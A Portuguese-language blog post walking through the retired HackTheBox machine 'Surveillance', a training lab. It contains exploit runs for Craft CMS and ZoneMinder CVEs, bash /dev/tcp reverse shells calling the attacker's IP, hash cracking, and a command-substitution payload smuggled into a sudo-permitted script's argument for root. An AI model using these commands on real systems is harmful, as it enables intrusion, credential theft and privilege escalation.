DEV Community

Guilherme Martins
Guilherme Martins

Posted on • Updated on

HackTheBox - Writeup Surveillance [Retired]

Hackthebox

Neste writeup iremos explorar uma máquina linux de nível medium chamada Surveillance que aborda as seguintes vulnerabilidades e técnicas de exploração:

  • CVE-2023-41892 - Remote Code Execution
  • Password Cracking com hashcat
  • CVE-2023-26035 - Unauthenticated RCE
  • Command Injection

Iremos iniciar realizando uma varredura em nosso alvo a procura de portas abertas:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# nmap -sV --open -Pn 10.129.45.83 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-11 19:11 EST
Nmap scan report for 10.129.45.83
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enter fullscreen mode Exit fullscreen mode

Com isso podemos notar que existem duas portas, a porta 22 do ssh e a 80 que esta rodando um nginx.

O nginx é um servidor web e proxy reverso, vamos acessar nosso alvo por um navegador.

Quando acessamos somos redirecionados para http://surveillance.htb, vamos adicionar em nosso /etc/hosts.

Com isso temos a seguinte págine web:

Surveillance.htb

Se trata de um site de uma empresa de segurança e monitoramento que dispõe de câmeras, controle de acessos e etc.

Agora iremos em busca de endpoints e diretórios utilizando o gobuster:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://surveillance.htb/ -k 
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://surveillance.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Timeout:                 10s
===============================================================
2023/12/11 19:12:59 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 200) [Size: 304]
/admin                (Status: 302) [Size: 0] [--> http://surveillance.htb/admin/login]
/css                  (Status: 301) [Size: 178] [--> http://surveillance.htb/css/]
/fonts                (Status: 301) [Size: 178] [--> http://surveillance.htb/fonts/]
/images               (Status: 301) [Size: 178] [--> http://surveillance.htb/images/]
/img                  (Status: 301) [Size: 178] [--> http://surveillance.htb/img/]
/index                (Status: 200) [Size: 1]
/js                   (Status: 301) [Size: 178] [--> http://surveillance.htb/js/]
/logout               (Status: 302) [Size: 0] [--> http://surveillance.htb/]
/p13                  (Status: 200) [Size: 16230]
/p1                   (Status: 200) [Size: 16230]
/p10                  (Status: 200) [Size: 16230]
/p15                  (Status: 200) [Size: 16230]
/p2                   (Status: 200) [Size: 16230]
/p3                   (Status: 200) [Size: 16230]
/p7                   (Status: 200) [Size: 16230]
/p5                   (Status: 200) [Size: 16230]
/wp-admin             (Status: 418) [Size: 24409]
Progress: 20469 / 20470 (100.00%)
===============================================================

Enter fullscreen mode Exit fullscreen mode

Aqui temos alguns endpoints interessantes, dentre eles temos o /admin. Aqui conseguimos identificar a CMS que o site foi criado, podemos constatar que se trata de um Craft CMS:

Surveillance.htb

De acordo com o próprio site do Craft CMS, o Craft é um CMS flexível e fácil de usar para criar experiências digitais personalizadas na web e fora dela.

Buscando por vulnerabilidades encontramos a CVE-2023-41892 que é um Remote Code Execution

Aqui alteramos a Poc para que consigamos explorar a vulnerabilidade para realizar o upload do arquivo e executar os comandos remotos.

Agora com acesso ao shell:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# python3 CVE-2023-41892.py http://surveillance.htb/
[-] Get temporary folder and document root ...
[-] Write payload to temporary file ...
[-] Trigger imagick to write shell ...
[-] Done, enjoy the shell
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Enter fullscreen mode Exit fullscreen mode

Como temos um shell com poucos recursos com esse shell vamos abrir em outra aba o pwncat, que é um shell com diversas funções:

┌──(root㉿kali)-[/home/kali]
└─# pwncat-cs -lp 9001
[16:57:07] Welcome to pwncat 🐈!                                                                                                     __main__.py:164
Enter fullscreen mode Exit fullscreen mode

Agora vamos criar um arquivo chamado rev.sh com o seguinte conteúdo e executar:

$ cat /tmp/rev.sh
sh -i 5<> /dev/tcp/10.10.14.229/9001 0<&5 1>&5 2>&5
$ bash /tmp/rev.sh
Enter fullscreen mode Exit fullscreen mode

Com isso temos nosso reserve shell no pwncat:

┌──(root㉿kali)-[/home/kali]
└─# pwncat-cs -lp 9001
[16:57:07] Welcome to pwncat 🐈!                                                                                                     __main__.py:164
[17:00:52] received connection from 10.129.39.90:48380                                                                                    bind.py:84
[17:00:57] 0.0.0.0:9001: upgrading from /usr/bin/dash to /usr/bin/bash                                                                manager.py:957
[17:01:00] 10.129.39.90:48380: registered new host w/ db                                                                              manager.py:957
(local) pwncat$                                                                                                                                     
(remote) www-data@surveillance:/var/www/html/craft/web/cpresources$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Enter fullscreen mode Exit fullscreen mode

Com acesso podemos realizar uma enumeração e visualizando os usuários:

(remote) www-data@surveillance:/var/www/html/craft$ grep -i bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
matthew:x:1000:1000:,,,:/home/matthew:/bin/bash
zoneminder:x:1001:1001:,,,:/home/zoneminder:/bin/bash
Enter fullscreen mode Exit fullscreen mode

Aqui temos três usuários: matthew, zoneminder e root.

Buscando arquivos sensíveis encontramos o arquivo .env, que como o nome sugere é um arquivo contendo variáveis e seus valores, que a aplicação utiliza:

(remote) www-data@surveillance:/var/www/html/craft$ cat .env
# Read about configuration, here:
# https://craftcms.com/docs/4.x/config/

# The application ID used to to uniquely store session and cache data, mutex locks, and more
CRAFT_APP_ID=CraftCMS--070c5b0b-ee27-4e50-acdf-0436a93ca4c7

# The environment Craft is currently running in (dev, staging, production, etc.)
CRAFT_ENVIRONMENT=production

# The secure key Craft will use for hashing and encrypting data
CRAFT_SECURITY_KEY=2HfILL3OAEe5X0jzYOVY5i7uUizKmB2_

# Database connection settings
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=craftdb
CRAFT_DB_USER=craftuser
CRAFT_DB_PASSWORD=CraftCMSPassword2023!
CRAFT_DB_SCHEMA=
CRAFT_DB_TABLE_PREFIX=

# General settings (see config/general.php)
DEV_MODE=false
ALLOW_ADMIN_CHANGES=false
DISALLOW_ROBOTS=false

PRIMARY_SITE_URL=http://surveillance.htb/
Enter fullscreen mode Exit fullscreen mode

Enumerando as portas abertas no host alvo notamos que existe um mysql na porta 3306 e outra aplicação na porta 8080, ambas rodando localmente:

(remote) www-data@surveillance:/var/www/html/craft$ netstat -nltp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      991/nginx: worker p
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      991/nginx: worker p
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
(remote) www-data@surveillance:/var/www/html/craft$
Enter fullscreen mode Exit fullscreen mode

Com os dados que conseguimos podemos acessar o banco de dados:

(remote) www-data@surveillance:/var/www/html/craft$ mysql -u craftuser -h 127.0.0.1 -P 3306 -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 20621
Server version: 10.6.12-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| craftdb            |
| information_schema |
+--------------------+
2 rows in set (0.001 sec)

MariaDB [(none)]> use craftdb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [craftdb]> show tables;
+----------------------------+
| Tables_in_craftdb          |
+----------------------------+
| addresses                  |
| announcements              |
| assetindexdata             |
| assetindexingsessions      |
| assets                     |
| categories                 |
| categorygroups             |
| categorygroups_sites       |
| changedattributes          |
| changedfields              |
| content                    |
| craftidtokens              |
| deprecationerrors          |
| drafts                     |
| elements                   |
| elements_sites             |
| entries                    |
| entrytypes                 |
| fieldgroups                |
| fieldlayoutfields          |
| fieldlayouts               |
| fieldlayouttabs            |
| fields                     |
| globalsets                 |
| gqlschemas                 |
| gqltokens                  |
| imagetransformindex        |
| imagetransforms            |
| info                       |
| matrixblocks               |
| matrixblocks_owners        |
| matrixblocktypes           |
| migrations                 |
| plugins                    |
| projectconfig              |
| queue                      |
| relations                  |
| resourcepaths              |
| revisions                  |
| searchindex                |
| sections                   |
| sections_sites             |
| sequences                  |
| sessions                   |
| shunnedmessages            |
| sitegroups                 |
| sites                      |
| structureelements          |
| structures                 |
| systemmessages             |
| taggroups                  |
| tags                       |
| tokens                     |
| usergroups                 |
| usergroups_users           |
| userpermissions            |
| userpermissions_usergroups |
| userpermissions_users      |
| userpreferences            |
| users                      |
| volumefolders              |
| volumes                    |
| widgets                    |
+----------------------------+
63 rows in set (0.001 sec)

MariaDB [craftdb]> desc users;
+----------------------------+---------------------+------+-----+---------+-------+
| Field                      | Type                | Null | Key | Default | Extra |
+----------------------------+---------------------+------+-----+---------+-------+
| id                         | int(11)             | NO   | PRI | NULL    |       |
| photoId                    | int(11)             | YES  | MUL | NULL    |       |
| active                     | tinyint(1)          | NO   | MUL | 0       |       |
| pending                    | tinyint(1)          | NO   | MUL | 0       |       |
| locked                     | tinyint(1)          | NO   | MUL | 0       |       |
| suspended                  | tinyint(1)          | NO   | MUL | 0       |       |
| admin                      | tinyint(1)          | NO   |     | 0       |       |
| username                   | varchar(255)        | YES  | MUL | NULL    |       |
| fullName                   | varchar(255)        | YES  |     | NULL    |       |
| firstName                  | varchar(255)        | YES  |     | NULL    |       |
| lastName                   | varchar(255)        | YES  |     | NULL    |       |
| email                      | varchar(255)        | YES  | MUL | NULL    |       |
| password                   | varchar(255)        | YES  |     | NULL    |       |
| lastLoginDate              | datetime            | YES  |     | NULL    |       |
| lastLoginAttemptIp         | varchar(45)         | YES  |     | NULL    |       |
| invalidLoginWindowStart    | datetime            | YES  |     | NULL    |       |
| invalidLoginCount          | tinyint(3) unsigned | YES  |     | NULL    |       |
| lastInvalidLoginDate       | datetime            | YES  |     | NULL    |       |
| lockoutDate                | datetime            | YES  |     | NULL    |       |
| hasDashboard               | tinyint(1)          | NO   |     | 0       |       |
| verificationCode           | varchar(255)        | YES  | MUL | NULL    |       |
| verificationCodeIssuedDate | datetime            | YES  |     | NULL    |       |
| unverifiedEmail            | varchar(255)        | YES  |     | NULL    |       |
| passwordResetRequired      | tinyint(1)          | NO   |     | 0       |       |
| lastPasswordChangeDate     | datetime            | YES  |     | NULL    |       |
| dateCreated                | datetime            | NO   |     | NULL    |       |
| dateUpdated                | datetime            | NO   |     | NULL    |       |
+----------------------------+---------------------+------+-----+---------+-------+
27 rows in set (0.001 sec)

MariaDB [craftdb]> select admin,username,email,password from users;
+-------+----------+------------------------+--------------------------------------------------------------+
| admin | username | email                  | password                                                     |
+-------+----------+------------------------+--------------------------------------------------------------+
|     1 | admin    | admin@surveillance.htb | $2y$13$FoVGcLXXNe81B6x9bKry9OzGSSIYL7/ObcmQ0CXtgw.EpuNcx8tGe |
+-------+----------+------------------------+--------------------------------------------------------------+
1 row in set (0.000 sec)
Enter fullscreen mode Exit fullscreen mode

No entanto, não tivemos sucesso tentando quebrar a hash de usuário.

Continuando a enumeração localizamos um arquivo de backup do banco de dados:

(remote) www-data@surveillance:/var/www/html/craft/storage$ cd backups/
(remote) www-data@surveillance:/var/www/html/craft/storage/backups$ ls -alh
total 28K
drwxrwxr-x 2 www-data www-data 4.0K Oct 17 20:33 .
drwxr-xr-x 6 www-data www-data 4.0K Oct 11 20:12 ..
-rw-r--r-- 1 root     root      20K Oct 17 20:33 surveillance--2023-10-17-202801--v4.4.14.sql.zip
(remote) www-data@surveillance:/var/www/html/craft/storage/backups$ unzip surveillance--2023-10-17-202801--v4.4.14.sql.zip
Archive:  surveillance--2023-10-17-202801--v4.4.14.sql.zip
  inflating: surveillance--2023-10-17-202801--v4.4.14.sql
(remote) www-data@surveillance:/var/www/html/craft/storage/backups$ ls -alh
total 140K
drwxrwxr-x 2 www-data www-data 4.0K Dec 12 02:17 .
drwxr-xr-x 6 www-data www-data 4.0K Oct 11 20:12 ..
-rw-r--r-- 1 www-data www-data 111K Oct 17 20:33 surveillance--2023-10-17-202801--v4.4.14.sql
-rw-r--r-- 1 root     root      20K Oct 17 20:33 surveillance--2023-10-17-202801--v4.4.14.sql.zip

Enter fullscreen mode Exit fullscreen mode

E aqui temos outro tipo de hash para o usuário:

INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew B','Matthew','B','admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec','2023-10-17 20:22:34',NULL,NULL,NULL,'2023-10-11 18:58:57',NULL,1,NULL,NULL,NULL,0,'2023-10-17 20:27:46','2023-10-11 17:57:16','2023-10-17 20:27:46');
Enter fullscreen mode Exit fullscreen mode

Esse tipo de hash é o SHA256 e aqui podemos utilizar o hashcat para quebrar a senha, utilizando o valor 1400 para o tipo de hash e especificando a wordlist rockyou.txt:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# hashcat -m 1400 matthew-hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
...

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344389
* Bytes.....: 139921546
* Keyspace..: 14344389

39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec:starcraft122490

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: 39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c...5770ec
Time.Started.....: Mon Dec 11 21:32:28 2023 (2 secs)
Time.Estimated...: Mon Dec 11 21:32:30 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1596.7 kH/s (0.13ms) @ Accel:256 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3552256/14344389 (24.76%)
Rejected.........: 0/3552256 (0.00%)
Restore.Point....: 3551232/14344389 (24.76%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: starfish789 -> starbowser
Hardware.Mon.#1..: Util: 42%

Started: Mon Dec 11 21:32:04 2023
Stopped: Mon Dec 11 21:32:31 2023
Enter fullscreen mode Exit fullscreen mode

E aqui conseguimos a senha do usuário admin, que é o pertencente a Matthew B. Esse usuário existe no servidor como vimos em nossa enumeração inicial.
Via ssh conseguimos acesso com o usuário matthew!

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# ssh matthew@surveillance.htb
matthew@surveillance.htb's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-89-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Dec 12 02:34:21 AM UTC 2023

  System load:  0.08935546875     Processes:             233
  Usage of /:   85.1% of 5.91GB   Users logged in:       0
  Memory usage: 16%               IPv4 address for eth0: 10.129.45.83
  Swap usage:   0%

  => / is using 85.1% of 5.91GB


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


Last login: Tue Dec  5 12:43:54 2023 from 10.10.14.40
Enter fullscreen mode Exit fullscreen mode

E assim conseguimos a user flag.

matthew@surveillance:~$ ls -a
.  ..  .bash_history  .bash_logout  .bashrc  .cache  .profile  user.txt
matthew@surveillance:~$ cat user.txt
b4ddc33ff47b1d8534c59a7609b48f13
Enter fullscreen mode Exit fullscreen mode

Movimentação lateral

Agora que temos acesso ssh com o usuário matthew vamos novamente realizar uma enumeração em busca de uma forma de escalar privilégios para root.

Analisando novos arquivos em busca de dados sensíveis conseguimos os seguintes dados de acesso a outro banco de dados:

-rw-r--r-- 1 root zoneminder 3503 Oct 17 11:32 /usr/share/zoneminder/www/api/app/Config/database.php
        'password' => ZM_DB_PASS,
        'database' => ZM_DB_NAME,
        'host' => 'localhost',
        'password' => 'ZoneMinderPassword2023',
        'database' => 'zm',
                $this->default['host'] = $array[0];
            $this->default['host'] = ZM_DB_HOST;
Enter fullscreen mode Exit fullscreen mode

Estes dados são pertencentes a uma aplicação chamada Zoneminder. O zoneminder é uma aplicação open source para monitoramento via circuito fechado de televisão, cameras de segurança basicamente.
Um ponto interessante é que temos outro usuário chamado zoneminder e uma aplicação rodando na porta 8080

Buscando por vulnerabilidades conhecidas para o zoneminder encontramos a CVE-2023-26035

A CVE se trata de um Unauthorized Remote Code Execution. Na ação de realizar um snapshot não é validado se a requisição tem permissão para executar, que espera um ID busque um monitor existente, mas permite que seja passado um objeto para criar um novo. A função TriggerOn chamada um shell_exec usando o ID fornecido, gerando assim um RCE.

Para conseguimos executar precisamos criar um túnel para que a aplicação local consiga ser acessada de nossa máquina, para isso vamos utilizar o ssh:

┌──(root�kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# ssh -L 8081:127.0.0.1:8080 matthew@surveillance.htb
matthew@surveillance.htb's password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-89-generic x86_64)
Enter fullscreen mode Exit fullscreen mode

Iremos utilizar neste writeup esta POC.
Primeiramente iremos utilizar o pwncat para ouvir na porta 9002:

┌──(root�kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# pwncat-cs -lp 9002
[21:01:10] Welcome to pwncat 🐈!                                                                                                 __main__.py:164
Enter fullscreen mode Exit fullscreen mode

Com o repositório devidamente clonado em nossa máquina executaremos da seguinte forma:

┌──(root�kali)-[/home/kali/hackthebox/machines-linux/surveillance/CVE-2023-26035]
└─# python3 exploit.py -t http://127.0.0.1:8081 -ip 10.10.14.174 -p 9002
[>] fetching csrt token
[>] recieved the token: key:f3dbd44dfe36d9bf315bcf7b9ad29a97463a4bb7,1702432913
[>] executing...
[>] sending payload..
[!] failed to send payload
Enter fullscreen mode Exit fullscreen mode

Mesmo com a mensagem de falha no envio do payload temos o seguinte retorno em nosso pwncat:

┌──(root�kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# pwncat-cs -lp 9002
[21:01:10] Welcome to pwncat 🐈!                                                                                                 __main__.py:164
[21:01:55] received connection from 10.129.44.183:43356                                                                               bind.py:84
[21:02:04] 10.129.44.183:43356: registered new host w/ db                                                                         manager.py:957
(local) pwncat$                                                                                                                                 
(remote) zoneminder@surveillance:/usr/share/zoneminder/www$ ls -lah /home/zoneminder/
total 20K
drwxr-x--- 2 zoneminder zoneminder 4.0K Nov  9 12:46 .
drwxr-xr-x 4 root       root       4.0K Oct 17 11:20 ..
lrwxrwxrwx 1 root       root          9 Nov  9 12:46 .bash_history -> /dev/null
-rw-r--r-- 1 zoneminder zoneminder  220 Oct 17 11:20 .bash_logout
-rw-r--r-- 1 zoneminder zoneminder 3.7K Oct 17 11:20 .bashrc
-rw-r--r-- 1 zoneminder zoneminder  807 Oct 17 11:20 .profile
Enter fullscreen mode Exit fullscreen mode

Conseguindo assim shell como o usuário zoneminder. Mais uma vez iremos realizar uma enumeração.

Atráves do comando sudo conseguimos visualizar um comando que o usuário zoneminder consegue executar com permissões de root:

(remote) zoneminder@surveillance:/usr/share/zoneminder/www$ sudo -l
Matching Defaults entries for zoneminder on surveillance:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User zoneminder may run the following commands on surveillance:
    (ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *
Enter fullscreen mode Exit fullscreen mode

O usuário pode executar qualquer script que esteja no diretório /usr/bin que inicie seu nome com zm e finalize com a extensão .pl que é referente a linguagem perl. Também podemos passar paramêtros.

Aqui estão todos os scripts que conseguimos executar como usuário root:

(remote) zoneminder@surveillance:/home/zoneminder$ ls -alh /usr/bin/zm*.pl
-rwxr-xr-x 1 root root  43K Nov 23  2022 /usr/bin/zmaudit.pl
-rwxr-xr-x 1 root root  13K Nov 23  2022 /usr/bin/zmcamtool.pl
-rwxr-xr-x 1 root root 6.0K Nov 23  2022 /usr/bin/zmcontrol.pl
-rwxr-xr-x 1 root root  26K Nov 23  2022 /usr/bin/zmdc.pl
-rwxr-xr-x 1 root root  35K Nov 23  2022 /usr/bin/zmfilter.pl
-rwxr-xr-x 1 root root 5.6K Nov 23  2022 /usr/bin/zmonvif-probe.pl
-rwxr-xr-x 1 root root  19K Nov 23  2022 /usr/bin/zmonvif-trigger.pl
-rwxr-xr-x 1 root root  14K Nov 23  2022 /usr/bin/zmpkg.pl
-rwxr-xr-x 1 root root  18K Nov 23  2022 /usr/bin/zmrecover.pl
-rwxr-xr-x 1 root root 4.8K Nov 23  2022 /usr/bin/zmstats.pl
-rwxr-xr-x 1 root root 2.1K Nov 23  2022 /usr/bin/zmsystemctl.pl
-rwxr-xr-x 1 root root  13K Nov 23  2022 /usr/bin/zmtelemetry.pl
-rwxr-xr-x 1 root root 5.3K Nov 23  2022 /usr/bin/zmtrack.pl
-rwxr-xr-x 1 root root  19K Nov 23  2022 /usr/bin/zmtrigger.pl
-rwxr-xr-x 1 root root  45K Nov 23  2022 /usr/bin/zmupdate.pl
-rwxr-xr-x 1 root root 8.1K Nov 23  2022 /usr/bin/zmvideo.pl
-rwxr-xr-x 1 root root 6.9K Nov 23  2022 /usr/bin/zmwatch.pl
-rwxr-xr-x 1 root root  20K Nov 23  2022 /usr/bin/zmx10.pl
Enter fullscreen mode Exit fullscreen mode

Foi necessário descobrir o que cada script faz, no entanto, fica mais simples quando olhamos esta documentação.

O foco foi tentar explorar scripts que podemos inserir dados, ou seja, scripts que aceitem parâmetros do usuário.

Outro ponto importante é que se for inserido o payload e ele for executado no inicialmente o mesmo será feito como usuário zoneminder.

Precisamos que nosso payload seja carregado e executado posteriormente, de forma que seja executado pelo usuário root.

Dentre os scripts nos temos o zmupdate.pl que é responsável por checar se existem updates para o ZoneMinder e ira executar migrations de atualização. No entanto o mesmo realiza um backup do banco utilizando o mysqldump, comando esse que recebe input do usuário (usuário e senha) e executa como root.

Inicialmente vamos criar um arquivo chamado rev.sh com o seguinte conteúdo:

#!/bin/bash
sh -i 5<> /dev/tcp/10.10.14.229/9001 0<&5 1>&5 2>&5
Enter fullscreen mode Exit fullscreen mode

E localmente em nossa máquina vamos utilizar o pwncat para ouvir na porta 9001:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# pwncat-cs -lp 9001
[17:14:01] Welcome to pwncat 🐈!                                                              __main__.py:164
Enter fullscreen mode Exit fullscreen mode

Agora iremos inserir no input do script o comando '$(/home/zoneminder/rev.sh)' que será salvo como variável exatamente da forma como esta, sem executar, devido as aspas simples que faz com que os caracteres especiais sejas lidos literalmente.

Executaremos da seguinte forma:

(remote) zoneminder@surveillance:/home/zoneminder$ sudo /usr/bin/zmupdate.pl --version=1 --user='$(/home/zoneminder/rev.sh)' --pass=ZoneMinderPassword2023

Initiating database upgrade to version 1.36.32 from version 1

WARNING - You have specified an upgrade from version 1 but the database version found is 1.26.0. Is this correct?
Press enter to continue or ctrl-C to abort : 

Do you wish to take a backup of your database prior to upgrading?
This may result in a large file in /tmp/zm if you have a lot of events.
Press 'y' for a backup or 'n' to continue : y
Creating backup to /tmp/zm/zm-1.dump. This may take several minutes.

Enter fullscreen mode Exit fullscreen mode

A senha do banco é a mesma que conseguimos anteriormente. E assim temos o seguinte retorno em nosso pwncat:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# pwncat-cs -lp 9001
[17:14:01] Welcome to pwncat 🐈!                                                              __main__.py:164
[17:18:06] received connection from 10.129.42.193:39340                                            bind.py:84
[17:18:10] 0.0.0.0:9001: normalizing shell path                                                manager.py:957
[17:18:12] 0.0.0.0:9001: upgrading from /usr/bin/dash to /bin/bash                             manager.py:957
[17:18:14] 10.129.42.193:39340: registered new host w/ db                                      manager.py:957
(local) pwncat$                                                                                              
(remote) root@surveillance:/home/zoneminder# id
uid=0(root) gid=0(root) groups=0(root)
Enter fullscreen mode Exit fullscreen mode

Conseguimos shell como root! Podemos buscar a root flag!

(remote) root@surveillance:/home/zoneminder# ls -a /root
.  ..  .bash_history  .bashrc  .cache  .config  .local  .mysql_history  .profile  root.txt  .scripts  .ssh
(remote) root@surveillance:/home/zoneminder# cat /root/root.txt 
4e69a27f8fc2279a0a149909c8ff2af4
Enter fullscreen mode Exit fullscreen mode

Um ponto interessante agora que estamos como usuário root e visualizar nos processos como foi executado o comando de mysqldump:

(remote) root@surveillance:/home/zoneminder# ps aux | grep mysqldump
root        3035  0.0  0.0   2888  1064 pts/3    S+   22:18   0:00 sh -c mysqldump -u$(/home/zoneminder/rev.sh) -p'ZoneMinderPassword2023' -hlocalhost --add-drop-table --databases zm > /tmp/zm/zm-1.dump
Enter fullscreen mode Exit fullscreen mode

Como planejamos o valor foi mantido inicialmente, somente na segunda execução que interpretou o caracter especial executando o comando.

E assim finalizamos a máquina Surveillence!

Pwned!

Top comments (0)